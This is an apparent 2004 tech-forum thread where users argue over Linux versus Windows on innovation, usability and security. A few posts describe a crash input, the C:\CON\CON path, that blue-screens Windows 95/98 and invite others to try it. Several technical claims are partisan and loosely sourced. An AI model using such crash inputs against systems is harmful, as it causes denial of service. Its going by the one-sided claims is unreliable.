> innovation doesn't always have come to satisfy a need or demand for something. What I am trying to say is that sometimes a solution can come before a problem arises. It may happen such that an innovation itself creates a demand for itself. Its not necessary always that a need should arise & that it should be fulfilled later. A good example is Apple's iTunes. People weren't necessarily looking for legal online music downloads before it. And now it has become so popular that there is so much demand for online legal music download sites. It is exactly this kind of innovation which will suffer without commercial companies like MS & Apple. The possibility of such innovation happenning on Linux is bleak.



If you call this innovation then what about the fact that anyone can ditch their pirated windoze copy and just download their favourite linux distro with all the applications they need whether it is for running an ISP, programming supercomputers, making a word document, power point presentation or even boiling an egg!!!!!
Been going on much loinger than the iPod , dude!!!


BORG>>>>



> Lets suppose commercial companies, like MS (which many Linux people hate so much) & Apple, simply vanish from the market. Will Linux, in its present form, be able to take on itself the task of innovating at the pace that we are so used too?.



What innovation are you talking about here????
Name one from MS. any one. or more if you feel there are any.
I will show you proof that 90% of the time MS bought the "innovation" or just stole it.

The pace of development of free software and linux is amny times faster than Anything the non-free sector has to offer. you will be stuck with Xpee for much more time than the linux users who generally see a six month release cycle for all their products. And when the "innovation" comes like service pack 2 for Xpee it will be plagued by innumerable bugs that all hackers and virus writers will have a party with, and all syadmins etc will pull their hair trying to nsure compatibility!!!!



> Now coming to Linux I don't see any new & original features. It rather sticks to its "me too" line. I don't undestand how new improvements & new features can happen in Linux, since no single company is behind it. Untill a way is found I think linux will simply be content with imitating other people's work.



Understand what linux is- 
It is the kernel and the underlying GNU tools. 
thats all.
the rest is from induviduals/groups who make applications for whatever reason- this includes Mozilla, openoffice, wine, KDE, Gnome etc etc....

Improvements and new features happen in these step by step, and you just have to see from one version to the next to appreciate them. 
Are Companies a prerequisite for innovation????
this is the first time i heard of something like this. 
Comapnies are also made up of people who work for a commaon goal - just like the induvidual free software programmers - who do the same.
Want to know what MS has imitated from linux??? Find out it isn't hard. At all.



> "Can Linux in its present form survivie on its own?"



MS only survived because it had no competition.
For the first time in many years it has some. It realizes that and even has a department to counteract the linux threat!!!

Consider this.
The only thing not working in the favour of linux is that many short sighted hardware device makers do not support linux, especially the cheaper devoice makers. Linux developers have to work very hard to do drivers for these vendors which very often, but not always work as well as , and sometimes even better than the original. 
That is the root of all the problems faced today by linux. 

I swear installing linux today is so intuitive that i am amazed when i consider what i  had to do with old distros like redhat 6. you pop in your cd and select language, mouse timezone and partions. thats it. you get a system working with all devices configured and running from the time the sytem does a single boot!!!!

Except _some_ of the exotic hardware mentioned above.....

Its long process to get some of these working. but how many devices do you know that either didnt have a driver for winXP or the driver does not support win 98 and below. I know of quiet a few!!!!

For most people, except maybe the Udham singh types,  the only hard part about linux is that you have to do some partioning. Why???? 

because the disk  already has windows on it. If they had a computer with linux preinstalled, or a blank disk, you wouldn't find it so difficult would you?
  
lastly if the aliens in Independence Day were running Linuxmaybe with iptables on then the movie would have had a different ending altogether.

Thats probly why the US army and the indian chinese and many other armies are switching to linux!!!


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## oldmonk (Aug 29, 2004)

here is a truly "innovative" product:::*www.mslinux.org/[/quote]


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## GNUrag (Aug 29, 2004)

borg said:
			
		

> Very little or no originality & innovation. So does that mean that Linux cannot survive without the other operating systems?


Just one thing ??? what do you mean by innovation ??? The GNU/Linux OS is not another OS man!.... see, the simple things like button/combo/textbox / double click are going to be like that only no matter what OS you use.... if its something else that you mean by innovation then what is it ???



			
				borg said:
			
		

> Who does the R&D for Linux???. For now, Linux developers are just making Linux equivalents of features found in other OSs.


Are you sure you mean just * Linux * .... and only linux.... As *firewall * has pointed above, Linux is a Free Software... and so is GNOME / KDE  /  Xmms / K3b / Apache / blah blah.... all these things are separate projects.... In Free Software community, its the random people working on random projects from random countries... 



			
				borg said:
			
		

> Untill a way is found I think linux will simply be content with imitating other people's work


As i said earlier, what is it that you're trying to say by innovation ? And if you think there's no innovation going on in Free Software community ... then just have a look at SourceForge.net .... 



			
				borg said:
			
		

> A lot of people speak about the Linux movement as some "good" & speak about MS & other commercial companies & programs as though they are some "evil". They get all emotional about it.


You dont get it mate.... Its a comparison between Proprietary Technology versus Free/Open Softwares that we (atleast me) always talk about.... Linux was never a movement .... was it ???  Its the * Free Software Movement *.... 



			
				borg said:
			
		

> I think you forgot Mac OS X. Based on FreeBSD, I think this one is a formidable contender to the title of Mos stable OS ever


And i think you are answering your question yourself.... FreeBSD is also a Free Software ... released under * The BSD Licence * which in turn is a GPL compatible licence.... So you see, because of the Free Software distributed by the The Regents of the University of California, you get that Mac OS X operating system...


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## GNUrag (Aug 29, 2004)

sreevirus said:
			
		

> also, the server-client model in linux shud be modified....ppl like more GUI.......the high security in linux can be really frustrating....why shud ppl need to type in commands like "rpm -ivf package.x.x-xx".


Which client server model are you talking about ??? installing packages via command line is not security... is it ???



			
				sreevirus said:
			
		

> it sorta makes me think "why does Linux OS doesnt trust even the administrator?" why does it need us to be logged in as root and then operate??


How else will the OS come to know that you are admin or not ??? and in fact Linux is the OS which gives god like powers to admin... not possible in windows ...



			
				sreevirus said:
			
		

> do lay users need such security?? the high security file-system must be a little modified for easy use for linux-novices like me.


Its this high security filesystem because of which you dont have viruses or Linux ... unlike in Win32 filesystems, where every file ending with .exe/.scr/.pif/.com is executable by default,  in unix filesystems , every executable file downloaded/created is not executable  by default ...


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## GNUrag (Aug 29, 2004)

borg said:
			
		

> Now this happens because each of these companies have R&D machines behind them. As far as Linux is concerned, all I have seen it doing is playing the "me too" game.


Obviously, Rich companies can pay for their employees ... whereas GNU projects are done by Free Software Enthusiasts... they write code in their free time while they can actually be clerks/bus drivers/lawyers/doctors in their real life.... and share their work with world without any restrictions attached... and you're calling them imitators.... 

You see what the problem is.... * A lot of people use GNU/Linux, but how many actually contribute ??? * .... its people like you and me that can make a difference.... I've been associated with Free Software Foundation for quite sometime.... and what do i get in return ???? i've not been paid a single rupee for that.... ...... ...... what do say on that...


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## borg (Aug 29, 2004)

First of all, I initiated this topic to discuss Linux's failure as of now to make any major inroads into the desktop opersating system sement. i was not talking about servers & maniframes running in some organization somewhere. digit magazine doesn't is more of a consumer oriented mag & not necessarily a power user mag (like PCQ). So let us confine our discussion to the desktop only.

Coming to the topic of innovation. You say that MS has not innovated anything. You must be joking. I think that is pretty much the hate propaganda that Linux buffs have been waging against MS for years. I can tell you about an N no. of developments MS made to its software by itself without copying anyone. Let me give you some ex. for the record-

1. MS Flight Simulator - tell me any other flight simulator which even comes close to this one. MS Flight Simulator is the best flight sim period. there are so many features on this one that no one else in the business has. Microsoft games are some of the best. They are not copies.

2. As I mentioned in one of my earlier posts in this same thread. the idea of context sensitive menus (on right clicking) appeared first on MS operating systems. It was not copied from anyone.

3. MS makes some of the best input devices, whether they be keyboards & mice or gamepads. They are simply the best.


4. MS was also the firt to come up with the CD autorun feature. You just insert the CD, the program automatically starts. No one else had this prior to MS. (In Linux, even after inserting the disc, you have to manually mount it to even read it, lol)

5. Heard of corona, the technology behind Windows media Player?. One of the best, if not the best codec.

I can give many more. Please do not say that MS didn't innovate anything. Thats simply not true.

And another thing, when I say Linux, I mean the entire OS. Yes, I do know that Linux is just the kernel & there are a lot more things that go into the actual distros such as RH, Suse, etc. But i cannot mention this everytime & when I say Linux, it must be understood that I am talking about the entire distro.




> You see what the problem is.... A lot of people use GNU/Linux, but how many actually contribute ??? .... its people like you and me that can make a difference.... I've been associated with Free Software Foundation for quite sometime.... and what do i get in return ???? i've not been paid a single rupee for that.... ...... ...... what do say on that...



Here again we see emotions. I told you before that let us not bother about the greatness of this so called Free software movement or whatever. Let us not worry about how or why so many people are working or not working for the Linux development or whether they are working for free or not. These issues only impact those who like the Linux movement. People like me who don't share sympathy just don't care about all these things. Let us just focus on the end product shall we. If you give such reasons for the short comings of Linux, then many such reasons can also be given for the shortcommings of MS. Lets simply keep the discussion about the end products.




> So you see, because of the Free Software distributed by the The Regents of the University of California, you get that Mac OS X operating system...



The basis for the Mac OS X may have been the mach microkernel, but the similarities end there. Use Mac OS X & you will realise how much original work Apple has put behind that OS.




> I swear installing linux today is so intuitive that i am amazed when i consider what i had to do with old distros like redhat 6. you pop in your cd and select language, mouse timezone and partions. thats it. you get a system working with all devices configured and running from the time the sytem does a single boot!!!!



Exactly, like anispace said, the only thing that easy to do in Linux is the installation!


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## GNUrag (Aug 29, 2004)

borg said:
			
		

> Here again we see emotions. I told you before that let us not bother about the greatness of this so called Free software movement or whatever.


Ever heard of terms like *Vendor Lock-in/ Viruses/ Scalability/ Frequent Software Upgrades/Piracy  *...... if you can answer above terms then i'm sure you can understand what is this Free Software Philosophy...



			
				borg said:
			
		

> These issues only impact those who like the Linux movement. People like me who don't share sympathy just don't care about all these things.


Please * DO NOT * sympathise if you dont share Free Software Philosophy.... But then you cant criticize Free Softwares if you dont subscribe to its underlying principles and philosophy.... Free Software and Open Standards can work wonders...


I'll be glad if you post a reply to this thread of mine:
*www.thinkdigit.com/forum/viewtopic.php?t=5884&start=0

.


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## sreevirus (Aug 29, 2004)

GNUrag said:
			
		

> sreevirus said:
> 
> 
> 
> ...


well, actually it is security....why cant i just do that by double clicking on the rpm file? and that too as admin only when i already AM logged in as admin in X. again, i am sorry to say there is much more flexibilty to do things thru the command line, but why is it not flexible enough in the GUI?? and even installing software is tedious be it if it is available as rpm or source.
the reason i am saying this is many of my friends whom i convinced to try linux are frustrated. they wanna try more softwares (who doesnt?) and they say installing softwares itself is a headache. and then they say "linux is for geeks". I do want linux to be more user-friendly. 



			
				GNUrag said:
			
		

> sreevirus said:
> 
> 
> 
> ...


yes, it gives superpower status to the admin, but u r undermining the fact of what i always emphasize, user-friendliness.....when AS ADMINISTRTATOR, I have logged in to the X Window System, why does it constanly require me to again and again log in as root in the command line for mundane tasks?? I am ok with the fact that if i am an admin and my friend is not, it will allow ONLY me to do changes, but when I am logged in as admin, why does it STILL require ME to type in the pasword AGAIN AND AGAIN AND AGAIN?? and the X Window system doesnt help mush either. even as admin, i cant browse to some folders which i can do thru command line....WHY? why cant i do the same tasks thru X but only thru the terminal? 



			
				GNUrag said:
			
		

> sreevirus said:
> 
> 
> 
> ...


again, i can surely say that there WILL be viruses for Linux nomatter what, if linux were to become a generally accepted desktop OS. virus coders just wanna cause trouble to the user, those lamers just like to see the ppl in a bad situation. and there ARE viruses coded for Linux/Unix, and if i'm not mistaken, why r anti-virus s/w's like QtFprot made for linux if linux was totally immune from virus attacks?? its just a matter of HOW MANY PPL USE LINUX, the more they use, the more virus will be created...its just vandalism. 


please do not consider this as anti-linux, its just problems faced by a person who wants a good friendly little OS in linux. (i too use linux, tho not more than win xp) 
and i like good discussions like these. 

and others please dont say things like"if u dont like linux, dont use it" and stuff like that.  because(according to me) these r the factors that tend to alienate linux from the common user.


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## GNUrag (Aug 29, 2004)

borg said:
			
		

> 1. MS Flight Simulator - tell me any other flight simulator which even comes close to this one.


Flight Simulators and things like that can exist in Free Software Domain also... it needs programmers to start such a project... If something does not exist in Free Software Community then it does not mean it can't be created.... 



			
				borg said:
			
		

> 2. As I mentioned in one of my earlier posts in this same thread. the idea of context sensitive menus (on right clicking) appeared first on MS operating systems. It was not copied from anyone.


You are crying about this innovation all the time... Innovation is there in Free Software Community also...
1) * aaxine * : Can play music/video in shell console, using all ASCII characters. Ever heard of something like that ?
2) * UPX * : Can compress executable files (Win32 and Unix) without converting them into zip format and they still execute without decompressing
3) * Ogg Vorbis * : Its a Free/Open File format and you dont have to worry about licencing issues as in MP3

There are many more.... Sometime visit SourceForge.net.... And all of the above projects are from SourceForge and useful for home user...



			
				borg said:
			
		

> 3. MS makes some of the best input devices, whether they be keyboards & mice or gamepads. They are simply the best.


As i said, Free Software is made by random people living in random countries... A company manufacturing hardware can't survive with such a setup... However, Freedom and Open Standards can play a role here too... In the form of open specification of that hardware in the form of open source device drivers... 

Can you say such about hardware made my MS (or any other proprietry vendor)?? You see if hardware specs are closed, it wont work on anything other than what its manufacturer wants it to run on... And then people go on crying, my hardware does no work on that system... 



			
				borg said:
			
		

> 4. MS was also the firt to come up with the CD autorun feature. You just insert the CD, the program automatically starts. No one else had this prior to MS. (In Linux, even after inserting the disc, you have to manually mount it to even read it, lol)


Of course, in UNIX based operating systems, you have to mount all your hardware onto OS to be able to read-write onto it... Is that a problem ???



			
				borg said:
			
		

> 5. Heard of corona, the technology behind Windows media Player?. One of the best, if not the best codec.


Ever heard of * Jpeg * format ? Jpeg picture format is an Open Specification....  so that any company/programmer can use it in his application without worying about any licencing issues... there are dozens of such examples that i can list here if you quote above point....

Now you see what the problem is? People just cry about some * LINUX * thing and say I dont share Free Software Philosophy...  Its these small things like jpeg/png , zip file formats that are open specificaions make up en entire Free Software Stack Stockpile.... 



			
				borg said:
			
		

> But i cannot mention this everytime & when I say Linux, it must be understood that I am talking about the entire distro.


Please take that pain... and atleast try to do some justice...


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## djmykey (Aug 29, 2004)

I would'nt be whining about anything if I waz gettin the os free of cost I would mould my machine so as to fit my os rather than the other way round. Btw I am gonna do my project in Linux yo no programming just configuring a Squid Server.


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## oldmonk (Aug 29, 2004)

borg>>>>>




> 1. MS Flight Simulator - tell me any other flight simulator which even comes close to this one. MS Flight Simulator is the best flight sim period. there are so many features on this one that no one else in the business has. Microsoft games are some of the best. They are not copies.



I do not think you have experienced any other flight simulators other than Microsoft, and i do not think you have any pilot friends to help you decide which is more realistic.
MS flight simulator might have all the eye candy you could want - it does show you tyre smoke, moving parts in the aircraft, etc etc.... these are not features, but basically eye candy, which actually screws up the 'realism' in the simulation, by taking out all the power on your graphics adapter.
Do you really think a Cessna is as easy to fly in real life as it is in MS??? Believe me, it is not.
Even the way MS calculates the behaviour of the aircraft, and its flight models are totally flawed, as it only uses standard aircraft data, and not all the external factors which might affect flight.
Yes, you can improve all these things in MS, but only by buying third party software which again costs a bomb.

Lets compare it to Flight Gear..
Flight Gear does not have as much eye candy, but when it comes to 'realistic' simulation, nothing beats flight gear. The reason behind this is that flight gear basically calculates the flight characteristics by simulating air flow on a realistic aircraft model.
Secondly, flight gear is free... its open source and is under continual development. It has a larger aiport Database, it has more aircrafts available and it almost has the same eye candy effects, and all that it does not have yet, it will have soon, as it is Open Source and thousands around the world are developing it.

So, try downloading Flight Gear, install it and run it and feel the difference of flying a 'real' Flight SImulator, and not a piece of commercial crap like MS Flight Simulator(aka "game")





> As I mentioned in one of my earlier posts in this same thread. the idea of context sensitive menus (on right clicking) appeared first on MS operating systems. It was not copied from anyone.



You may have heard about Interleaf which in the mid-80s may have invented context-sensitive popups. Microsoft has yet to implement one piece of what Interleaf did: Intelligent defaults. So, if you just cut something, the popup would default to "Paste." In most cases, it defaulted to "repeat the action last performed when in this state," e.g., change font if text is selected and insert comment if none is selected. A right-mouse click would launch the popup to the default selection without having to manually retraverse the tree. A simple right click-and-release would execute the default action so experienced users who'd learned the defaults could click through tasks without even having to see the menus. 

Old unix windowing interfaces like motif already had context sensitive menus although not as devloped as windows - buts thats from a long time back. 






> MS makes some of the best input devices, whether they be keyboards & mice or gamepads. They are simply the best.



you are right some of the best, compared to what? logitech? whats so innovative ??? 
more buttons? "optical mouse blue" or "optical mouse red" ?? cool shape? split in two??? QWERTY layout from a hundred years ago??? give me a break . cant you come up with something better?
heres some _innovative_  mice and keyboards for you - not from microsoft although theyll soon copy them!!!

*www.extremetech.com/article2/0,397...xtremetech.com/article2/0,3973,1039254,00.asp
(keyboard)

*www.virtualdevices.net/ just look at this keyboard!!!!  Why doesn't microsoft buy that company next????






> MS was also the firt to come up with the CD autorun feature. You just insert the CD, the program automatically starts. No one else had this prior to MS. (In Linux, even after inserting the disc, you have to manually mount it to even read it, lol)



Your information about linux is wrong. Try some distro after redhat 7.2. Ever heard of super mount?? 

So many cd players have autoplay from so long. remember when "multimedia kits" where introduced in india. Creative iinfra suite was a software that allowed cds to autoplay!! musch before this feature was built into windows 95!!






> 5. Heard of corona, the technology behind Windows media Player?. One of the best, if not the best codec



Ok so corona is good. But all those highly paid guys at microsoft have to do something besides making new bugs!!!



> If you give such reasons for the short comings of Linux, then many such reasons can also be given for the shortcommings of MS



the reasons are totally different!!! Microsoft charges money! Linux doesn't have to.

If you pay money you expect a decent stable bugfree operating sytem.
The money you pay to microsoft lets you just boot the pc and nothing else. you have to shell out a lot more before it becomes really useful!!

besides MS never apologizes or explains its shortcomings. They are just there and they will be fixed as and when ms thinks its time.

try this.

in your fantastic XPee system make a folder called "notepad" on your desktop. then go to internet explorer and rightclick and select view source.
See what happens.
Do you know how long its been around????
try with any older version of windows and youll find out.

This is what you get for your money!!!!




> Lets simply keep the discussion about the end products.



Ignore all the history.
Now what are so many big companies putting their weight behind linux??
Surely the people there who make these descisions know more that you and i?






> the only thing that easy to do in Linux is the installation!



Then whats so difficult? The lack of opportunities to reinstall your OS?

theory:


> You know all those splash screens that flash by when you reinstall windows tend to reprogram the lame user whos sitting in front of the pc at that time. Its an evil microsoft strategy!!!


[/quote]


----------



## GNUrag (Aug 29, 2004)

oldmonk said:
			
		

> *www.virtualdevices.net/ just look at this keyboard!!!!  Why doesn't microsoft buy that company next????


ha ha ha ha ha ...... that was a nice one....


----------



## GNUrag (Aug 29, 2004)

sreevirus said:
			
		

> well, actually it is security....why cant i just do that by double clicking on the rpm file? and that too as admin only when i already AM logged in as admin in X.


I dont get what your point is .... You know , you can actually logon to X as normal user , start xterm, su, start file manager, and double lick on rpm files to install...



			
				sreevirus said:
			
		

> yes, it gives superpower status to the admin, but u r undermining the fact of what i always emphasize, user-friendliness.....when AS ADMINISTRTATOR,


*Joke:* If ur organization has an admin that demands GUI then kick him out ...     



			
				sreevirus said:
			
		

> I have logged in to the X Window System, why does it constanly require me to again and again log in as root in the command line for mundane tasks??


no it does not... as i said, you can do sysadmin tasks while logged on as normal user also... you just have to * su *...



			
				sreevirus said:
			
		

> I am ok with the fact that if i am an admin and my friend is not, it will allow ONLY me to do changes, but when I am logged in as admin, why does it STILL require ME to type in the pasword AGAIN AND AGAIN AND AGAIN??


I dont get your point .... can you explain in details.... When u're logged in a root into X server, you dont have to enter passwords anywhere... can you elaborate your situation ?



			
				sreevirus said:
			
		

> and the X Window system doesnt help mush either. even as admin, i cant browse to some folders which i can do thru command line....


Which directories are you talking about ..... I can browse through my entire filesystem through konqueror/Nautilus.... 



			
				sreevirus said:
			
		

> WHY? why cant i do the same tasks thru X but only thru the terminal?


That's because no body has written GUI program for that particular task you're talking about... would you care to write one ???



			
				sreevirus said:
			
		

> again, i can surely say that there WILL be viruses for Linux nomatter what, if linux were to become a generally accepted desktop OS. virus coders just wanna cause trouble to the user,


But in that case you'll get its patches next morning itself, unlike MS wherein you get service packs according to Microsoft's own schedule



			
				sreevirus said:
			
		

> and there ARE viruses coded for Linux/Unix, and if i'm not mistaken,


Sure there are.... but even then GNU/Linux OS is safer because you dont have Macro Viruses, Silly Trojans, VBS based scripting worms.... Boot sector viruses.... Yes you can get infected, but only if you are careless enough to run ur system in root mode...



			
				sreevirus said:
			
		

> why r anti-virus s/w's like QtFprot made for linux if linux was totally immune from virus attacks?? its just a matter of HOW MANY PPL USE LINUX, the more they use, the more virus will be created...its just vandalism.


Many of those antivirus packages are actually made for protecting windows computers... you know Linux/UNIX is used by many ISPs as their Mail servers.... these AV packages scan viruses that propagate via email...


----------



## borg (Aug 29, 2004)

phew. I am appaulled. These guys are talking about MS as if it didn't make anything at all & nothing works. If that was the case I don't even know how I am typing this message. Why is my Windows 2k not crashing. Why haven't I had to reinstall my windows for almost a year???. Must be a freak incident.

All I can say is- its been a good discussion. Lets all use what we like. I continue to use Windows,  have no intention of going Linux whatsoever. I am primarily a gamer & have nouse for Linux at this stage. You guys use your Linux & let us all be happy.


----------



## GNUrag (Aug 29, 2004)

borg said:
			
		

> Why is my Windows 2k not crashing. Why haven't I had to reinstall my windows for almost a year???. Must be a freak incident.


My Debian GNU/Linux Server at my organization has not been restarted since past three years... sure that must also have been a freak incident... isnt it ?

In fact, when it was installed, it was * Debian 'Potato' * and now it got upgraded to * Debian 'Woody' * without even restarting that server or popping any CD... everything upgraded via internet using * apt-get upgrade *.... Is that possible in Win2k ? Is this not an innovation ???



			
				borg said:
			
		

> All I can say is- its been a good discussion.


Yes indeed....



			
				borg said:
			
		

> Lets all use what we like. I continue to use Windows,  have no intention of going Linux whatsoever.


And i continue to use my Debian GNU/Linux Box on which strangely everything works fine with me...


----------



## oldmonk (Aug 29, 2004)

> Why is my Windows 2k not crashing. Why haven't I had to reinstall my windows for almost a year???




You're smart ! you aren't using XPee. Wonder why??




> I am appaulled. These guys are talking about MS as if it didn't make anything at all & nothing works



Nobody said that!!! Of Course it make windows!! It also make those mice and keyboards with the extra buttons. And of course it works!!!! It really does!!! Amazing!!!!




> All I can say is- its been a good discussion. Lets all use what we like. I continue to use Windows, have no intention of going Linux whatsoever. I am primarily a gamer & have nouse for Linux at this stage. You guys use your Linux & let us all be happy.



Same here. I agree!!


Sorry for appaling you Borg,  and do try the notepad thing!! its really cool!!


----------



## djmykey (Aug 29, 2004)

Yo ppl chill it man ur pulling each others pants man chill ppl let it go in a friendsly manner pls. Dont go eating each other out.


----------



## borg (Aug 29, 2004)

I think this discussion is over.


----------



## GNUrag (Aug 29, 2004)

borg said:
			
		

> I tried the norepad thing, nothing happenned. And I tink you are just one of those Linux fanatics.


Then try this on Windows 98

Open Notepad >> File >> Open. 
now type * C:\CON\CON * and see what happens. windows 9x kernel commits a fatal exception... and blue screen


----------



## borg (Aug 29, 2004)

I don't use win 98.


----------



## GNUrag (Aug 29, 2004)

borg said:
			
		

> I don't use win 98.


Lucky man!


----------



## oldmonk (Aug 29, 2004)

> Linux fanatics


thats me !!! How did you guess???  but keep it a secret!!!!   



> And please visit me when you finally come to the year 2004



Ill see you in 2005! when youll have to reformat and install longhorn when MS will no longer support win tukay.





> my blu ray.


    
youll have to wait for SP3 for that or maybe there wont be any sp3. Oh sorry i forgot you'll have longhorn by then!!!!!



> I tried the notepad thing, nothing happenned



 :roll:  :roll: 

Dont tell me you really tried that!!!! Dont you trust your Win2k????
(just kidding)

If you did it right you should see the folder open and not the source of the HTML page!!!


----------



## borg (Aug 29, 2004)

Ok man, I don't want to continue this discusion anymore. I don't see any point.


The whole point of this thread was to discuss the shortcomings of Linux. I neither hate linux nor am a fan of MS or Apple. If one starts becoming emotional about some particular technology, I think that is when the discussion becomes useless.


I am not interested in flaming you or anyone else. I am here only for discussing technology sharing ideas. Peace.


----------



## Raaabo (Aug 29, 2004)

* Raaabo throws in the towel for both borg and oldmonk

Play nice now...


----------



## anomaly (Aug 30, 2004)

ha ha ha ha ha h ah ah ah ah ha ah ha ha

you guys make me laugh!!!!


----------



## TimothyMcVeigh (Aug 30, 2004)

The same thing over and over again.


```
*www.thinkdigit.com/forum/viewtopic.php?t=5884
```



			
				GNUrag said:
			
		

> 2 } Insecure OS Design (The Windows Kernel)
> Try this on a Windows 95/98 computer. Open Notepad >> File >> Open. now type C:\CON\CON and see what happens. windows 9x kernel commits a fatal exception... and blue screen...
> Its a bug in windows 9x kernel's virtual device module that existed for 5 years despite various service packs. Due to this bug, no system administrator can even dare to run Ftp/telnet/web server on a windows 9x computer...





			
				TheUndead said:
			
		

> Windows 95 based OSs were designed for a single user environment. Windows 9x wasn't really designed to protect the integrity of the system when connected to a large network like Internet. Actually many security problems occurred only because they tried to make them backward compatible. Something similar to which you have mentioned what Microsoft does NOT do in your 4th point about word docs' compatibility.



I think both of these similar threads be merged into a single thread instead of doing the whole discussion all over again.

If borg is leaving, I can take it from here if administrators can allow me to do that. But first combine these 2 threads so as not to argue about what has already been taken care of.

TheUndead = Me


----------



## oldmonk (Aug 30, 2004)

> The same thing over and over again.



Well actually the linux versus windows threads are so common in _all_  discussion forums.

Its almost like coke and pepsi!!!!!

 Remeber that in any discussion we can argue about 

1, technical aspects-  capabilities etc.
2, moral or ethical issues with the products
3, ease of use - (linux ay be easy for me , but hard for say, george fernandez????
4, undying love for any os, windows or linux?      

In the end any discussion needs a conclusion.

Somehow i dont think this thread will have any such thing.

some people dont like piracy or working with pirated products. If they can do the same job , with legal stuff, then why not??? Even better if you like or appreciate it. 

(Of course MS doesn't mind piracy in India. Who the hell would buy windows here. Its more than a months salary for most indians!!!!)

All the hardware i own, i buy or works with my linux better than it does on windows. To see the diff, i can give  demo to anyone!!!!

But thats my choice!!!!

Atleast i have that choice.

regards


----------



## gxsaurav (Aug 30, 2004)

Hey, there was already a thread regarding Windows & Linux with the naem "Windows vs unix" where me, & Tuxfan already had a fight, tuxfan, don't U have anything else except for argument, comon, yarr, whoever started this thread, remembar one thing as I said in that thread also, It's upto U what U want to use. Nobady is forcing U to use anything, u want linux go for it, U like Windows stick to it, whats the point of such never ending discussion. Some of the other discussions like this which will never end

1) Intel vs AMD
2) NVIDIA vs ATI
3) & Windows vs Linux
4) PC vs Mac

Use, whatever u like thats all


----------



## borg (Aug 30, 2004)

I just wanted to highlight the weaknesses of Linux. Comon people, don't give me that "Linux is best" crap. It too has its share of problems. But these guys just don't want to talk about it. They get all emotional when someone criticises their Linux. Not to mention their MS bashing. Don't know how many things Linux borrows from MS. Now I realise debating with Linux people is futile. OpenXS was right.


----------



## sailendra (Aug 30, 2004)

@borg,
  Its time you change your sig.  You have realised the Ultimate Truth! O enlightened One. 
 You've Just been Assimilated! 
"*Resistance is Futile*" LOL


----------



## gxsaurav (Aug 30, 2004)

Linux, Windows, Mac, Unix everything has it's own drawbacks, nothing in this world is Perfect (except for Ash)

Even linux has problems, the problem I facaed when I tried linux was Application installation & uninstallation, I still don't know how to uninstall something in linux, rpm is good, but then again U have to have different version of same thing to let different things to work, & plz, Tell me can linux match the double click installation of Windows  never,  xvzf .tar file etc etc


----------



## anomaly (Aug 30, 2004)

The whole argument is worthless...

In the end a person should use an OS that he is comfortable with and that can get his work done with ease. And both windows and linux can do that, as long as the user is capable....

Both OS's have there pros and cons... no body can doubt that Linux is much much more stable than windows, is free, and is more customizable, it is virus free and the list could go on... but then, it is a little difficult for 'novices', as you need to have some technical know how to succeed with it.... otherwise you really would not understand what the OS was talking....
Windows is for users who just want to get their work done... are not bothered about 'what the hell is in there'.... and do not want to waste their time thinking about how to compile the latest kernel....
Windows might not be stable etc. etc... but im sure whoever uses it does not mind re-installing it every few months... 

thats it.... as i said... i can only laugh at you guys.... for fighting like kids...
Its like owning a Bullet 500 or a Ninja 1000CC...
Its what you enjoy more.... Going through the starting process of a bullet 500 or just pressing the ignition key on the Ninja...

thats it...
thats how simple it is...


----------



## borg (Aug 30, 2004)

_In the end a person should use an OS that he is comfortable with and that can get his work done with ease. And both windows and linux can do that, as long as the user is capable.... _

Thats exactly what I am saying too. But some guys here want to show the _superiority_ of their Linux


----------



## DjVibz (Aug 30, 2004)

One of the lamest discussions i've seen. but this ain't not unique. I have seen many such discussion & in every single discussion the very first thing that the Linux people do is start bashing M$. I say CRAP. Every OS has its share of problems- Windows, Mac OS, Unix, I say every one of them has their problems. Linux ain't no exeption. Anyone who sez otherwise is a fool for sure.


----------



## naveenchandran (Aug 30, 2004)

Linux OS is by the programmers around the world and for the programmers around the world!


----------



## oldmonk (Aug 30, 2004)

*Borg said*



> In the end a person should use an OS that he is comfortable with and that can get his work done with ease. And both windows and linux can do that, as long as the user is capable....
> 
> Thats exactly what I am saying too. But some guys here want to show the superiority of their Linux



That not what you said dude. you started this topic with the shortcomings of linux - just look at the thread title.

Now you want to back out because you got debated out.

Of course both platforms have their problems , and if you dont want to use linux, just dont go around using your spare time to find shortcomings!!!

Do something useful. Send bug reports to MS.

thats it i'm out of this one now.

But it was fun to just fight like schoolchildren for once!!!    [/b]


----------



## borg (Aug 31, 2004)

Hah. I was not the one who backed out, rather it was you who started the flaming, not to mention the M$ bashing (lame), while the thread was to discuss the shortcomings of Linux.



> But it was fun to just fight like schoolchildren for once!!!



yeah & in which class did you say you were in??



> Of course both platforms have their problems



Just a few minutes ago you were saying that your Linux had no problems whatsoever. What happenned, they released a new version or something??? 



> Do something useful. Send bug reports to MS.



Yeah you too... oh shit... i forgot... u can't even do that, you have to fix your own bugs!. Anyways happy debugging.


----------



## Kl@w-24 (Aug 31, 2004)

All u MS bashers, get a load of this : A study by Ch*p of Germany pitted Win XP, Linux and Mac OS X against each other to find out which one was the most secure. U'll be amazed to know that Win XP, when patched fully, is the most secure OS. The study also showed that MS was the quickest to respond to a security hole and the patch released by MS fully closed the hole. As for Linux and Mac, there were holes in the system even after patching. What do u say now ?


----------



## oldmonk (Aug 31, 2004)

BOrg>>>>



> discuss the shortcomings of Linux



If it was only to discuss the shortcomings why do you already decide that it has no chance???



> were saying that your Linux had no problems whatsoever



I have never said that. just as a windows user will find shortcomings more as he uses it so will a linux user!!

I have only proved your dreamboat assertions about MS wrong. Where you were right i anknowledged you for example about the Corona technology.

Note that i said 90% copied, stolen or bought not 100%.!!!

what more do you want, a feed bottle with a nipple???






> you have to fix your own bugs!.



I dont have the skills to fix any bugs. But thousands of programmers all over the world do it fo me.  For free - and fast not every two years or after some big attack on the webexposes the hole!


Let me clarify.

I DONT HATE MS.
Ms brought me dos which i used in my school days!!! Also BASIC.
MS win98 also came with my first PC.
secondly had win2000.
last i tried Xpee at work for more than a year.

Its just that after sometime you get tired of the problems and find some solution which works for you.

*So i have to say linux does have more than a chance. More than youll ever know*

Still i dont hate MS. In fact i like old bill for all his aids charity work. Such a nice guy. Have you read the eula of the new Windows Media player 9? or th eula of your win2000???
Youll love him even more than i do.


----------



## oldmonk (Aug 31, 2004)

Please I agree with this:





> Linux, Windows, Mac, Unix everything has it's own drawbacks, nothing in this world is Perfect (except for Ash)
> 
> Even linux has problems, the problem I facaed when I tried linux was Application installation & uninstallation, I still don't know how to uninstall something in linux, rpm is good, but then again U have to have different version of same thing to let different things to work, & plz, Tell me can linux match the double click installation of Windows never, xvzf .tar file etc etc



So lets have some Peace. Its a beautiful thing.

